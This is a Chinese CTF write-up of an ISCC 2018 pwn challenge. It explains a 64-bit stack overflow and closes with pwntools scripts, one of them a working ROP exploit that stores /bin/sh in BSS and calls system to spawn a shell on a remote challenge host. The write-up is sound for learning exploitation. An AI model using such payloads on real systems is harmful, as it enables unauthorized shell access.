ISCC-PWN
2018.04.20
V1NKe
 热度
℃
概述:
这几天北理工的ISCC挑战赛开始了,闲着无聊做了一下里面的pwn题,又是一道栈溢出的题目,可是自己还是在徐大哥的指点下,才成功完成溢出。主要是自己想的太多了,思路不太对头,所以才一直绕在一个圈里面出不来。
介绍:
先check一下:
只开了NX,64位的程序。
输入用户名和密码随后才进入主菜单,查看Username之后发现有一个admin账户和一个guest账户
随后事选择执行程序或者事查看user或者是退出三个选项,一开始我还以为是堆利用,发现没有mallco函数之后才确定这是一个栈溢出。
这是cmd选项的函数,发现guest用户和admin用户差不多,都是不给执行,但是admin用户会把输入的cmd字符串给存入cmdBSS段中,所以这个点我们之后需要注意一下
仔细查看之后可以发现在菜单函数的read函数上
v2 = read(0, buf, 0x280uLL);
buf字符串最大只能容纳68位字符串,但是可输入字符串远大于68,所以溢出点就在这里
查看一下文件的所有函数
发现有system函数
但是并没有/bin/sh字符串的存在,所以这里我们可以考虑到上面所写入的cmd字符串,我们可以将/bin/sh写入cmd,然后调用system函数再调用到bss段中cmd字段来读取/bin/sh字符串,完成getshell
但是这里需要注意的点是:
该程序是64位程序,栈调用时和32位程序还是有区别的,64位程序函数调用时所获取的第一个值是从rdi寄存器之中获取的。所以我们需要先将rdi寄存器指向cmd字符串的地址中去。
我开始所想的方法是利用__libc_csu_init来进行利用的,但是我所实践的实际情况是一直跳转不到我所想要的地址,gdb调试发现所构造的目标地址最后都被转义了,并不知道为什么,以下是我用这个方法所使用的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
p = process('./pwn50') context.log_level = 'debug' p.recvuntil('username: ') p.sendline('guest') p.recvuntil('password: ') p.sendline('guest') p.recvuntil('Your choice: ') #gdb.attach(p) playload = 'A'*88 + p64(0x400afa) + p64(0) + p64(1) + p64(0x601020) + p64(1) + p64(1) + '/bin/sh\x00' + p64(0x400AE0) p.sendline(playload) p.recvuntil('Your choice: ') p.sendline('3') #gdb.attach(p) p.interactive()
|
如果有人能知道这到底是为什么,请联系我,我想弄明白哈哈。
EXP :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
p = remote('47.104.16.75',9000) elf = ELF('pwn50') context.log_level = 'debug' p.recvuntil('username: ') p.sendline('admin') p.recvuntil('password: ') p.sendline('T6OBSh2i') p.recvuntil('Your choice: ') #gdb.attach(p)
sys_addr = elf.symbols['system']
p.sendline('1') p.recvuntil('Command: ') p.sendline('/bin/sh\x00') p.recvuntil('Your choice: ') playload = 'A'*88 + p64(0x400b03) + p64(0x601100) + p64(sys_addr) p.sendline(playload) p.recvuntil('Your choice: ') p.sendline('3') #gdb.attach(p) p.interactive()
|